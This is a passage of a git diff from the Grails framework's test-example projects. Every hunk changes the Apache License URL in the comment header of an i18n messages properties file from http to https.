+++ b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_pt_BR.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_pt_PT.properties b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_pt_PT.properties
index d432eb5f6e..27aa38dd2b 100644
--- a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_pt_PT.properties
+++ b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_pt_PT.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_ru.properties b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_ru.properties
index 2c7e7cdde7..c5e1d93446 100644
--- a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_ru.properties
+++ b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_ru.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_sv.properties b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_sv.properties
index 694ac13f23..49079027e5 100644
--- a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_sv.properties
+++ b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_sv.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_th.properties b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_th.properties
index 1219a71e4b..9d2ba5ea9d 100644
--- a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_th.properties
+++ b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_th.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_zh_CN.properties b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_zh_CN.properties
index 61a0705aef..181f0a372e 100644
--- a/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_zh_CN.properties
+++ b/grails-test-examples/hibernate5/grails-partitioned-multi-tenancy/grails-app/i18n/messages_zh_CN.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages.properties b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages.properties
index 09d392c881..d71a1fc5cb 100644
--- a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages.properties
+++ b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_cs_CZ.properties b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_cs_CZ.properties
index dc71c205fe..24799b956a 100644
--- a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_cs_CZ.properties
+++ b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_cs_CZ.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_da.properties b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_da.properties
index c3ac9b1929..8effe79084 100644
--- a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_da.properties
+++ b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_da.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_de.properties b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_de.properties
index 18cd4a68b2..fccc6d561e 100644
--- a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_de.properties
+++ b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_de.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_es.properties b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_es.properties
index f8d257c24a..c76df87761 100644
--- a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_es.properties
+++ b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_es.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_fr.properties b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_fr.properties
index 93d4bc05f7..686f872243 100644
--- a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_fr.properties
+++ b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_fr.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_it.properties b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_it.properties
index 22353b0336..3bb0abe403 100644
--- a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_it.properties
+++ b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_it.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_ja.properties b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_ja.properties
index ba1daf0d6a..bcd6bb99bf 100644
--- a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_ja.properties
+++ b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_ja.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_nb.properties b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_nb.properties
index b2bcb4cfa5..8485b66145 100644
--- a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_nb.properties
+++ b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_nb.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_nl.properties b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_nl.properties
index eb5245ccf5..57360d5c39 100644
--- a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_nl.properties
+++ b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_nl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_pl.properties b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_pl.properties
index 7e17b9b999..2cac9c855b 100644
--- a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_pl.properties
+++ b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_pl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_pt_BR.properties b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_pt_BR.properties
index 2244a40539..474cf326f9 100644
--- a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_pt_BR.properties
+++ b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_pt_BR.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_pt_PT.properties b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_pt_PT.properties
index d432eb5f6e..27aa38dd2b 100644
--- a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_pt_PT.properties
+++ b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_pt_PT.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_ru.properties b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_ru.properties
index 2c7e7cdde7..c5e1d93446 100644
--- a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_ru.properties
+++ b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_ru.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_sv.properties b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_sv.properties
index 694ac13f23..49079027e5 100644
--- a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_sv.properties
+++ b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_sv.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_th.properties b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_th.properties
index 1219a71e4b..9d2ba5ea9d 100644
--- a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_th.properties
+++ b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_th.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_zh_CN.properties b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_zh_CN.properties
index 61a0705aef..181f0a372e 100644
--- a/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_zh_CN.properties
+++ b/grails-test-examples/hibernate5/grails-schema-per-tenant/grails-app/i18n/messages_zh_CN.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-11102/grails-app/i18n/messages.properties b/grails-test-examples/issue-11102/grails-app/i18n/messages.properties
index 6d72d209d5..a1ac5a2fd7 100644
--- a/grails-test-examples/issue-11102/grails-app/i18n/messages.properties
+++ b/grails-test-examples/issue-11102/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-11102/grails-app/i18n/messages_cs.properties b/grails-test-examples/issue-11102/grails-app/i18n/messages_cs.properties
index dc71c205fe..24799b956a 100644
--- a/grails-test-examples/issue-11102/grails-app/i18n/messages_cs.properties
+++ b/grails-test-examples/issue-11102/grails-app/i18n/messages_cs.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-11102/grails-app/i18n/messages_da.properties b/grails-test-examples/issue-11102/grails-app/i18n/messages_da.properties
index c3ac9b1929..8effe79084 100644
--- a/grails-test-examples/issue-11102/grails-app/i18n/messages_da.properties
+++ b/grails-test-examples/issue-11102/grails-app/i18n/messages_da.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-11102/grails-app/i18n/messages_de.properties b/grails-test-examples/issue-11102/grails-app/i18n/messages_de.properties
index 18cd4a68b2..fccc6d561e 100644
--- a/grails-test-examples/issue-11102/grails-app/i18n/messages_de.properties
+++ b/grails-test-examples/issue-11102/grails-app/i18n/messages_de.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-11102/grails-app/i18n/messages_es.properties b/grails-test-examples/issue-11102/grails-app/i18n/messages_es.properties
index f8d257c24a..c76df87761 100644
--- a/grails-test-examples/issue-11102/grails-app/i18n/messages_es.properties
+++ b/grails-test-examples/issue-11102/grails-app/i18n/messages_es.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-11102/grails-app/i18n/messages_fr.properties b/grails-test-examples/issue-11102/grails-app/i18n/messages_fr.properties
index 93d4bc05f7..686f872243 100644
--- a/grails-test-examples/issue-11102/grails-app/i18n/messages_fr.properties
+++ b/grails-test-examples/issue-11102/grails-app/i18n/messages_fr.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-11102/grails-app/i18n/messages_it.properties b/grails-test-examples/issue-11102/grails-app/i18n/messages_it.properties
index 22353b0336..3bb0abe403 100644
--- a/grails-test-examples/issue-11102/grails-app/i18n/messages_it.properties
+++ b/grails-test-examples/issue-11102/grails-app/i18n/messages_it.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-11102/grails-app/i18n/messages_ja.properties b/grails-test-examples/issue-11102/grails-app/i18n/messages_ja.properties
index 10abcd3873..c23f5d014b 100644
--- a/grails-test-examples/issue-11102/grails-app/i18n/messages_ja.properties
+++ b/grails-test-examples/issue-11102/grails-app/i18n/messages_ja.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-11102/grails-app/i18n/messages_nb.properties b/grails-test-examples/issue-11102/grails-app/i18n/messages_nb.properties
index b2bcb4cfa5..8485b66145 100644
--- a/grails-test-examples/issue-11102/grails-app/i18n/messages_nb.properties
+++ b/grails-test-examples/issue-11102/grails-app/i18n/messages_nb.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-11102/grails-app/i18n/messages_nl.properties b/grails-test-examples/issue-11102/grails-app/i18n/messages_nl.properties
index eb5245ccf5..57360d5c39 100644
--- a/grails-test-examples/issue-11102/grails-app/i18n/messages_nl.properties
+++ b/grails-test-examples/issue-11102/grails-app/i18n/messages_nl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-11102/grails-app/i18n/messages_pl.properties b/grails-test-examples/issue-11102/grails-app/i18n/messages_pl.properties
index efb954c5ff..199f7d26e0 100644
--- a/grails-test-examples/issue-11102/grails-app/i18n/messages_pl.properties
+++ b/grails-test-examples/issue-11102/grails-app/i18n/messages_pl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-11102/grails-app/i18n/messages_pt_BR.properties b/grails-test-examples/issue-11102/grails-app/i18n/messages_pt_BR.properties
index 2244a40539..474cf326f9 100644
--- a/grails-test-examples/issue-11102/grails-app/i18n/messages_pt_BR.properties
+++ b/grails-test-examples/issue-11102/grails-app/i18n/messages_pt_BR.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-11102/grails-app/i18n/messages_pt_PT.properties b/grails-test-examples/issue-11102/grails-app/i18n/messages_pt_PT.properties
index d432eb5f6e..27aa38dd2b 100644
--- a/grails-test-examples/issue-11102/grails-app/i18n/messages_pt_PT.properties
+++ b/grails-test-examples/issue-11102/grails-app/i18n/messages_pt_PT.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-11102/grails-app/i18n/messages_ru.properties b/grails-test-examples/issue-11102/grails-app/i18n/messages_ru.properties
index 2c7e7cdde7..c5e1d93446 100644
--- a/grails-test-examples/issue-11102/grails-app/i18n/messages_ru.properties
+++ b/grails-test-examples/issue-11102/grails-app/i18n/messages_ru.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-11102/grails-app/i18n/messages_sk.properties b/grails-test-examples/issue-11102/grails-app/i18n/messages_sk.properties
index 3baafcda8c..609b7e12c5 100644
--- a/grails-test-examples/issue-11102/grails-app/i18n/messages_sk.properties
+++ b/grails-test-examples/issue-11102/grails-app/i18n/messages_sk.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-11102/grails-app/i18n/messages_sv.properties b/grails-test-examples/issue-11102/grails-app/i18n/messages_sv.properties
index 694ac13f23..49079027e5 100644
--- a/grails-test-examples/issue-11102/grails-app/i18n/messages_sv.properties
+++ b/grails-test-examples/issue-11102/grails-app/i18n/messages_sv.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-11102/grails-app/i18n/messages_th.properties b/grails-test-examples/issue-11102/grails-app/i18n/messages_th.properties
index 1219a71e4b..9d2ba5ea9d 100644
--- a/grails-test-examples/issue-11102/grails-app/i18n/messages_th.properties
+++ b/grails-test-examples/issue-11102/grails-app/i18n/messages_th.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-11102/grails-app/i18n/messages_zh_CN.properties b/grails-test-examples/issue-11102/grails-app/i18n/messages_zh_CN.properties
index 61a0705aef..181f0a372e 100644
--- a/grails-test-examples/issue-11102/grails-app/i18n/messages_zh_CN.properties
+++ b/grails-test-examples/issue-11102/grails-app/i18n/messages_zh_CN.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-views-182/grails-app/i18n/messages.properties b/grails-test-examples/issue-views-182/grails-app/i18n/messages.properties
index 6d72d209d5..a1ac5a2fd7 100644
--- a/grails-test-examples/issue-views-182/grails-app/i18n/messages.properties
+++ b/grails-test-examples/issue-views-182/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-views-182/grails-app/i18n/messages_cs.properties b/grails-test-examples/issue-views-182/grails-app/i18n/messages_cs.properties
index dc71c205fe..24799b956a 100644
--- a/grails-test-examples/issue-views-182/grails-app/i18n/messages_cs.properties
+++ b/grails-test-examples/issue-views-182/grails-app/i18n/messages_cs.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
